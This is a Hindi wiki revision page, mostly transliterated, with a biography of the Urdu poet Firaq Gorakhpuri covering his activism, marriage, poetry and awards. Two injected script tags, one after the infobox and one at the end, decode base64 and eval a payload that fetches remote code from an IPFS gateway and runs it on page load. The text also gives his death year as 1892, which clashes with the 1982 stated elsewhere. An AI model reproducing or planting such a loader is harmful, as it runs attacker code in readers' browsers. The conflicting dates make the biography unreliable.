Difference between revisions of "फ़िराक़ गोरखपुरी"
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इसी बीच [[गांधी जी]] ने [[असहयोग आन्दोलन]] छेड़ा तो फ़िराक़ उसमें सम्मिलित हो गये। नौकरी गई और जेल की सज़ा मिली। कुछ दिनों तक वे आनन्द भवन, [[इलाहाबाद]] में [[पंडित नेहरू]] के सहायक के रूप में [[कांग्रेस]] का काम भी देखते रहे। बाद में उन्होंने इलाहाबाद विश्वविद्यालय में [[अंग्रेज़ी]] के शिक्षक के रूप में काम किया।<ref>{{cite book | last =लीलाधर | first =शर्मा | title =भारतीय चरित कोश | edition = | publisher =शिक्षा भारती | location =भारतडिस्कवरी पुस्तकालय | language =[[हिन्दी]] | pages =500 | chapter = }}</ref> | इसी बीच [[गांधी जी]] ने [[असहयोग आन्दोलन]] छेड़ा तो फ़िराक़ उसमें सम्मिलित हो गये। नौकरी गई और जेल की सज़ा मिली। कुछ दिनों तक वे आनन्द भवन, [[इलाहाबाद]] में [[पंडित नेहरू]] के सहायक के रूप में [[कांग्रेस]] का काम भी देखते रहे। बाद में उन्होंने इलाहाबाद विश्वविद्यालय में [[अंग्रेज़ी]] के शिक्षक के रूप में काम किया।<ref>{{cite book | last =लीलाधर | first =शर्मा | title =भारतीय चरित कोश | edition = | publisher =शिक्षा भारती | location =भारतडिस्कवरी पुस्तकालय | language =[[हिन्दी]] | pages =500 | chapter = }}</ref> | ||
====विवाह==== | ====विवाह==== | ||
| − | 29 जून, 1914 को उनका विवाह प्रसिद्ध जमींदार विन्देश्वरी प्रसाद की बेटी किशोरी देवी से हुआ। कला स्नातक में पूरे प्रदेश में चौथा स्थान पाने के बाद आई.सी.एस. में चुने गये। 1920 में नौकरी छोड़ दी तथा स्वराज्य आंदोलन में कूद पड़े तथा डेढ़ वर्ष की जेल की | + | 29 जून, 1914 को उनका विवाह प्रसिद्ध जमींदार विन्देश्वरी प्रसाद की बेटी किशोरी देवी से हुआ। कला स्नातक में पूरे प्रदेश में चौथा स्थान पाने के बाद आई.सी.एस. में चुने गये। 1920 में नौकरी छोड़ दी तथा स्वराज्य आंदोलन में कूद पड़े तथा डेढ़ वर्ष की जेल की सज़ा भी काटी। |
==साहित्यिक जीवन== | ==साहित्यिक जीवन== | ||
Revision as of 13:42, 9 April 2012
firaq gorakhapuri
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| poora nam | raghupati sahay 'firaq gorakhapuri' |
| janm | 28 agast, 1896 |
| janm bhoomi | gorakhapur, uttar pradesh |
| mrityu | 3 march, 1982 |
| mrityu sthan | dilli |
| pati/patni | kishori devi |
| karm-kshetr | sahity |
| mukhy rachanaean | gule-nagama, bajmean zindagi range-shayari, saragam adi |
| bhasha | urdoo, farasi, hiandi, brajabhasha |
| vidyalay | ilahabad vishvavidyalay |
| shiksha | kala snatak |
| puraskar-upadhi | sahity akadami puraskar, jnanapith puraskar, padm bhooshan |
| prasiddhi | urdoo shayar, shikshak |
| nagarikata | bharatiy |
| any janakari | gaandhi ji ke sath asahayog andolan mean sammilit hue aur jel bhi gaye. kuchh dinoan anand bhavan, ilahabad mean pandit neharoo ke sahayak ke roop mean kaangres ka kamakaj bhi dekha. |
| adyatan | 15:03, 3 march 2012 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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| inhean bhi dekhean | kavi soochi, sahityakar soochi |
firaq gorakhapuri (vastavik nam- raghupati sahay) (janm: 28 agast, 1896 gorakhapur - mrityu: 3 march, 1982 dilli) urdoo ke prasiddh shayar haian.
jivan parichay
urdoo ke mashahoor shayar firaq gorakhapuri ka janm 1896 ee. mean gorakhapur uttar pradesh mean hua tha. firaq ka poora nam raghupati sahay firaq tha, shayari mean apana upanam 'firaq' likhate the. peshe se vakil pita muanshi gorakh prasad bhi shayar the. is prakar kah sakate haian ki shayari firaq ko virasat mean mili thi. firaq gorakhapuri ne ilahabad vishvavidyalay mean shiksha prapt ki aur unaki niyukti dipti kalektar ke pad par ho gee.
aandolan
isi bich gaandhi ji ne asahayog andolan chhe da to firaq usamean sammilit ho gaye. naukari gee aur jel ki saza mili. kuchh dinoan tak ve anand bhavan, ilahabad mean pandit neharoo ke sahayak ke roop mean kaangres ka kam bhi dekhate rahe. bad mean unhoanne ilahabad vishvavidyalay mean aangrezi ke shikshak ke roop mean kam kiya.[1]
vivah
29 joon, 1914 ko unaka vivah prasiddh jamiandar vindeshvari prasad ki beti kishori devi se hua. kala snatak mean poore pradesh mean chautha sthan pane ke bad aee.si.es. mean chune gaye. 1920 mean naukari chho d di tatha svarajy aandolan mean kood p de tatha dedh varsh ki jel ki saza bhi kati.
sahityik jivan
firaq ne apane sahityik jivan ka aranbh gazal se kiya tha. apane sahityik jivan ke aranbhik samay mean 6 disanbar, 1926 ko british sarakar ke rajanaitik bandi banae ge. urdoo shayari ka b da hissa roomaniyat, rahasy aur shastriyata se bandha raha hai jisamean lokajivan aur prakriti ke paksh bahut kam ubhar pae haian. firaq ne paranparagat bhavabodh aur shabd-bhandar ka upayog karate hue use nayi bhasha aur ne vishayoan se jo da. unake yahaan samajik dukh-dard vyaktigat anubhooti banakar shayari mean dhala hai. dainik jivan ke k dave sach aur ane vale kal ke prati ummid, donoan ko bharatiy sanskriti aur lokabhasha ke pratikoan se jo dakar firaq ne apani shayari ka anootha mahal kh da kiya. farasi, hiandi, brajabhasha aur bharatiy sanskriti ki gahari samajh ke karan unaki shayari mean bharat ki mool pahachan rach-bas gee hai.
kritiyaan
firaq gorakhapuri ne b di matra mean rachanaean ki unaki shayari b di uchchakoti ki mani jati haian. ve b de nirbhik shayar the. unake kavita sangrah 'gulenagma' par 1960 mean unhean sahity akadami ka puraskar mila aur isi rachana par ve 1969 mean bharatiy jnanapith puraskar se sammanit kiye gaye the. unhoanne ek upanyas 'sadhu aur kutiya' aur kee kahaniyaan bhi likhi haian. urdoo, hiandi aur aangrezi bhasha mean das gady kritiyaan bhi prakashit huee haian. firaq ke kuchh kavita sangrah nimn haian-
- gule-nagama
- bajmean zindagi range-shayari
- saragam
shaili
firaq gorakhapuri ne gazal, nazm aur rubaee tinoan vidhaoan mean kafi kaha hai. rubaee, nazm ki hi ek vidha hai, lekin asani ke lie ise nazm se alag kar liya gaya. unake kalam ka sabase bada aur aham hissa gazal hai aur yahi firaq ki pahachan hai. vah sauandaryabodh ke shayar haian aur yah bhav gazal aur rubaee donoan mean barabar vyakt hua hai. firaq sahab ne gazal aur rubaee ko naya lahaja aur nee avaj ada ki. is avaj mean atit ki gooanj bhi hai, vartaman ki bechaini bhi. farasi, hiandi, brajabhasha aur hiandoo sanskriti ki gahari janakari ki vajah se unaki shayari mean hindustan ki mitti rach-bas gee hai. yah tathy bhi vichar karane yogy hai ki unaki shayari mean ashik aur mahaboob paranpara se bilkul alag apana svatantr sansar basaye hue haian-
sham bhi thi dhuaan-dhuaan, husn bhi tha udas-udas.
dil ko kee kahaniyaan yad si a ke rah gee॥
firaq sahab ki rubaiyoan mean tootakar mohabbat karane vali hiandustani aurat ki aisi khoobasoorat tasvirean milati haian, jinaki misal mushkil se milegi- [[chitr:Firaq Gorakhpuri-stamp.jpg|thumb|firaq sahab ke samman mean dak tikat]]
nirmal jal se naha ke ras se nikali putali,
baloan mean agarache ki khushaboo lipati.
satarang dhanush ki tarah hathoan ko uthaye,
phailati hai alagani par gili sadi॥[2]
samman aur puraskar
- 1960 mean gule-nagama ke lie sahity akadami puraskar.
- 1968 mean soviyat laiand neharoo avard se sammanit.
- 1969 mean gule-nagama ke liye jnanapith puraskar.
- 1968 mean firaq gorakhapuri ko sahity evan shiksha ke kshetr mean bharat sarakar dvara padm bhooshan se bhi sammanit kiya gaya tha.
nidhan
3 march 1892 mean firaq gorakhapuri sahab ka dehaant ho gaya.
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tika tippani aur sandarbh
- ↑ liladhar, sharma bharatiy charit kosh (hindi). bharatadiskavari pustakalay: shiksha bharati, 500.
- ↑ ganga-jamuni tahajib ke shayar firaq gorakhapuri (hindi) yahoo jagaran d aaut k aaum. abhigaman tithi: 3 march, 2012.
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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